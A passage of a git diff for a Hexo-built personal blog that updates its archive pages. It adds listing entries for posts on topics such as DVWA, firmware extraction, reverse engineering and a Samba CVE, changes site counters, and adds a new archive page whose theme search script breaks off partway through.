+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/03/28/逆向工程实验/" itemprop="url">
+              
+                <span itemprop="name">逆向工程与软件破解</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-03-28T15:25:04+08:00" content="2019-03-28">
+          03-28
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/03/25/Samba-CVE/" itemprop="url">
+              
+                <span itemprop="name">小米路由器与Samba漏洞CVE-2017-7494</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-03-25T13:45:16+08:00" content="2019-03-25">
+          03-25
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
   <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
     <header class="post-header">
 
@@ -496,7 +569,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -506,7 +579,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -517,7 +590,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -528,7 +601,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -599,7 +672,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/index.html b/archives/index.html
index 90a90593..0956f70f 100644
--- a/archives/index.html
+++ b/archives/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -318,6 +321,76 @@
 
         
 
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/获取固件/" itemprop="url">
+              
+                <span itemprop="name">获取固件的几种方法</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:49:28+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/web-dvwa/" itemprop="url">
+              
+                <span itemprop="name">DVWA黑客攻防平台</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:46:51+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
   <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
     <header class="post-header">
 
@@ -589,76 +662,6 @@
 
       
 
-        
-        
-        
-
-        
-        
-
-        
-
-  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
-    <header class="post-header">
-
-      <h2 class="post-title">
-        
-            <a class="post-title-link" href="/2019/03/28/逆向工程实验/" itemprop="url">
-              
-                <span itemprop="name">逆向工程与软件破解</span>
-              
-            </a>
-        
-      </h2>
-
-      <div class="post-meta">
-        <time class="post-time" itemprop="dateCreated" datetime="2019-03-28T15:25:04+08:00" content="2019-03-28">
-          03-28
-        </time>
-      </div>
-
-    </header>
-  </article>
-
-
-
-      
-
-        
-        
-        
-
-        
-        
-
-        
-
-  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
-    <header class="post-header">
-
-      <h2 class="post-title">
-        
-            <a class="post-title-link" href="/2019/03/25/Samba-CVE/" itemprop="url">
-              
-                <span itemprop="name">小米路由器与Samba漏洞CVE-2017-7494</span>
-              
-            </a>
-        
-      </h2>
-
-      <div class="post-meta">
-        <time class="post-time" itemprop="dateCreated" datetime="2019-03-25T13:45:16+08:00" content="2019-03-25">
-          03-25
-        </time>
-      </div>
-
-    </header>
-  </article>
-
-
-
-      
-
     </div>
   </div>
   
@@ -667,7 +670,7 @@
 
   
   <nav class="pagination">
-    <span class="page-number current">1</span><a class="page-number" href="/archives/page/2/">2</a><a class="extend next" rel="next" href="/archives/page/2/"><i class="fa fa-angle-right"></i></a>
+    <span class="page-number current">1</span><a class="page-number" href="/archives/page/2/">2</a><a class="page-number" href="/archives/page/3/">3</a><a class="extend next" rel="next" href="/archives/page/2/"><i class="fa fa-angle-right"></i></a>
   </nav>
 
 
@@ -706,7 +709,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -716,7 +719,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -727,7 +730,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -738,7 +741,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -809,7 +812,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/page/2/index.html b/archives/page/2/index.html
index 97dcec75..83f1aa0b 100644
--- a/archives/page/2/index.html
+++ b/archives/page/2/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/archives/page/2/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -299,7 +302,7 @@
         
           
         
-        嗯..! 目前共计 19 篇日志。 继续努力。
+        嗯..! 目前共计 21 篇日志。 继续努力。
       </span>
 
       
@@ -318,6 +321,76 @@
 
         
 
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/03/28/逆向工程实验/" itemprop="url">
+              
+                <span itemprop="name">逆向工程与软件破解</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-03-28T15:25:04+08:00" content="2019-03-28">
+          03-28
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/03/25/Samba-CVE/" itemprop="url">
+              
+                <span itemprop="name">小米路由器与Samba漏洞CVE-2017-7494</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-03-25T13:45:16+08:00" content="2019-03-25">
+          03-25
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+        
+        
+        
+
+        
+        
+
+        
+
   <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
     <header class="post-header">
 
@@ -594,46 +667,6 @@
 
       
 
-        
-        
-        
-
-        
-          
-          <div class="collection-title">
-            <h1 class="archive-year" id="archive-year-2000">2000</h1>
-          </div>
-        
-        
-
-        
-
-  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
-    <header class="post-header">
-
-      <h2 class="post-title">
-        
-            <a class="post-title-link" href="/2000/01/01/hello-world/" itemprop="url">
-              
-                <span itemprop="name">Hello World</span>
-              
-            </a>
-        
-      </h2>
-
-      <div class="post-meta">
-        <time class="post-time" itemprop="dateCreated" datetime="2000-01-01T00:00:00+08:00" content="2000-01-01">
-          01-01
-        </time>
-      </div>
-
-    </header>
-  </article>
-
-
-
-      
-
     </div>
   </div>
   
@@ -642,7 +675,7 @@
 
   
   <nav class="pagination">
-    <a class="extend prev" rel="prev" href="/archives/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/archives/">1</a><span class="page-number current">2</span>
+    <a class="extend prev" rel="prev" href="/archives/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/archives/">1</a><span class="page-number current">2</span><a class="page-number" href="/archives/page/3/">3</a><a class="extend next" rel="next" href="/archives/page/3/"><i class="fa fa-angle-right"></i></a>
   </nav>
 
 
@@ -681,7 +714,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -691,7 +724,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -702,7 +735,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -713,7 +746,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -784,7 +817,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/archives/page/3/index.html b/archives/page/3/index.html
new file mode 100644
index 00000000..c524714f
--- /dev/null
+++ b/archives/page/3/index.html
@@ -0,0 +1,1152 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="Hexo, NexT">
+
+
+
+
+
+
+
+
+
+
+<meta name="description" content="没人比我更懂中医#MAGA">
+<meta property="og:type" content="website">
+<meta property="og:title" content="混元霹雳手">
+<meta property="og:url" content="https://cool-y.github.io/archives/page/3/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
+<meta property="og:locale" content="zh-Hans">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/archives/page/3/">
+
+
+
+
+
+  <title>归档 | 混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left page-archive">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
+      
+        <p class="site-subtitle"></p>
+      
+  </div>
+
+  <div class="site-nav-toggle">
+    <button>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+    </button>
+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
+          </a>
+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+
+  
+  
+  
+  <div class="post-block archive">
+    <div id="posts" class="posts-collapse">
+      <span class="archive-move-on"></span>
+
+      <span class="archive-page-counter">
+        
+        
+        
+          
+        
+        嗯..! 目前共计 21 篇日志。 继续努力。
+      </span>
+
+      
+
+        
+        
+        
+
+        
+          
+          <div class="collection-title">
+            <h1 class="archive-year" id="archive-year-2000">2000</h1>
+          </div>
+        
+        
+
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2000/01/01/hello-world/" itemprop="url">
+              
+                <span itemprop="name">Hello World</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2000-01-01T00:00:00+08:00" content="2000-01-01">
+          01-01
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+
+      
+
+    </div>
+  </div>
+  
+  
+  
+
+  
+  <nav class="pagination">
+    <a class="extend prev" rel="prev" href="/archives/page/2/"><i class="fa fa-angle-left"></i></a><a class="page-number" href="/archives/">1</a><a class="page-number" href="/archives/page/2/">2</a><span class="page-number current">3</span>
+  </nav>
+
+
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">21</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">9</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">43</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">64.5k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
+
+
+
+
+
+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
+
+
+
+
+
+
+
+
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
+
+
+  
+  
+
+
+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
+        <script src="https://jjeejj.github.io/js/gitment.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
